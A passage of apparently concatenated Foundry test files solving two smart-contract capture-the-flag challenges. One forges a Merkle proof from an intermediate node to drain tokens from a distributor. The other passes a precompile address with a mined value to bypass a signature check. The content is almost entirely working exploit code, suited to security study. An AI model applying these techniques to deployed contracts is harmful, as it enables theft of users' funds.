////////// 223 | 224 | ///////////////////////// 225 | 226 | assertTrue(setup.isSolved()); 227 | } 228 | } -------------------------------------------------------------------------------- /test/MerkleProof.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import "forge-std/Test.sol"; 4 | 5 | import "../src/merkledrop/public/contracts/Setup.sol"; 6 | 7 | // We must use a leaf that is closer from the root instead of a leaf 8 | contract Merkle is Test { 9 | Setup setup; 10 | 11 | function test_hax() public { 12 | setup = new Setup(); 13 | 14 | ////////// HAX ////////// 15 | 16 | // We calculate a pre-image locally to create a fake index and still be a valid proof 17 | 18 | uint256 id = 37; 19 | address account = 0x8a85e6D0d2d6b8cBCb27E724F14A97AeB7cC1f5e; 20 | uint96 amount = 0x5dacf28c4e17721edb; 21 | 22 | bytes memory packed = abi.encodePacked(id, account, amount); 23 | emit log_named_bytes("packed", packed); 24 | 25 | bytes32 fake_proof = keccak256(packed); 26 | emit log_named_bytes32("proof", fake_proof); 27 | 28 | uint256 fake_index = uint256(fake_proof); 29 | address fake_account = 0xd48451c19959e2D9bD4E620fBE88aA5F6F7eA72A; 30 | uint96 fake_amount = 0x00000f40f0c122ae08d2207b; 31 | 32 | bytes32[] memory proof = new bytes32[](5); 33 | proof[0] = 0x8920c10a5317ecff2d0de2150d5d18f01cb53a377f4c29a9656785a22a680d1d; 34 | proof[1] = 0xc999b0a9763c737361256ccc81801b6f759e725e115e4a10aa07e63d27033fde; 35 | proof[2] = 0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813; 36 | proof[3] = 0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c; 37 | proof[4] = 0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5; 38 | 39 | uint256 old_bal = setup.token().balanceOf(address(setup.merkleDistributor())); 40 | 41 | setup.merkleDistributor().claim(fake_index, fake_account, fake_amount, proof); 42 | 43 | uint256 new_bal = setup.token().balanceOf(address(setup.merkleDistributor())); 44 | 45 | assertGt(old_bal, new_bal); 46 | 47 | emit log("claimed fake proof"); 48 | 49 | uint256 max_tokens = 0x0fe1c215e8f838e00000; 50 | uint256 stolen = 0x00000f40f0c122ae08d2207b; 51 | 52 | uint256 to_steal = max_tokens - stolen; 53 | 54 | emit log_named_uint("to_steal", to_steal); 55 | // equals 2966562950867434987397 = 0xa0d154c64a300ddf85 56 | // which is the amount of the index 8, let's claim it! 57 | 58 | _legit_claim(); 59 | 60 | ///////////////////////// 61 | 62 | assertTrue(setup.isSolved()); 63 | } 64 | 65 | function _legit_claim() private { 66 | uint256 idx = 8; 67 | address act = 0x249934e4C5b838F920883a9f3ceC255C0aB3f827; 68 | uint96 amt = 0xa0d154c64a300ddf85; 69 | 70 | bytes32[] memory lgt_proof = new bytes32[](6); 71 | lgt_proof[0] = 0xe10102068cab128ad732ed1a8f53922f78f0acdca6aa82a072e02a77d343be00; 72 | lgt_proof[1] = 0xd779d1890bba630ee282997e511c09575fae6af79d88ae89a7a850a3eb2876b3; 73 | lgt_proof[2] = 0x46b46a28fab615ab202ace89e215576e28ed0ee55f5f6b5e36d7ce9b0d1feda2; 74 | lgt_proof[3] = 0xabde46c0e277501c050793f072f0759904f6b2b8e94023efb7fc9112f366374a; 75 | lgt_proof[4] = 0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c; 76 | lgt_proof[5] = 0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5; 77 | 78 | setup.merkleDistributor().claim(idx, act, amt, lgt_proof); 79 | } 80 | } -------------------------------------------------------------------------------- /test/Vanity.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.7.6; 2 | 3 | import "forge-std/Test.sol"; 4 | 5 | import "../src/vanity/public/contracts/Setup.sol"; 6 | 7 | // We must use a leaf that is closer from the root instead of a leaf 8 | contract Vanity is Test { 9 | Setup setup; 10 | 11 | function test_hax() public { 12 | setup = new Setup(); 13 | 14 | ////////// HAX ////////// 15 | 16 | // @ctf when sending kec("MAGIC") + sig 17 | // @ctf its output hash must starts by 0x1626ba7e 18 | 19 | bytes4 sel = 0x1626ba7e; 20 | bytes32 hash = keccak256(abi.encodePacked("CHALLENGE_MAGIC")); 21 | 22 | emit log_named_bytes32("h", hash); 23 | 24 | // @ctf we need to mine a hash to start by sel 25 | // bytes memory sig = abi.encodePacked(keccak256(abi.encodePacked(uint256(1)))); 26 | bytes memory sig = abi.encodePacked(bytes32(0xf3a95c205a9430fd6a7a065dfde49461a65ef97c52f478949633ae1d267e36ed)); 27 | 28 | bytes memory full = abi.encodeWithSignature("isValidSignature(bytes32,bytes)", hash, sig); 29 | 30 | emit log_named_bytes("full", full); 31 | 32 | (bool success, bytes memory result) = address(2).staticcall( 33 | abi.encodeWithSelector(sel, hash, sig) 34 | ); 35 | 36 | if (success) { 37 | emit log_named_bytes("res", result); 38 | } 39 | 40 | setup.challenge().solve(address(2), sig); 41 | 42 | ///////////////////////// 43 | 44 | assertTrue(setup.isSolved()); 45 | } 46 | } --------------------------------------------------------------------------------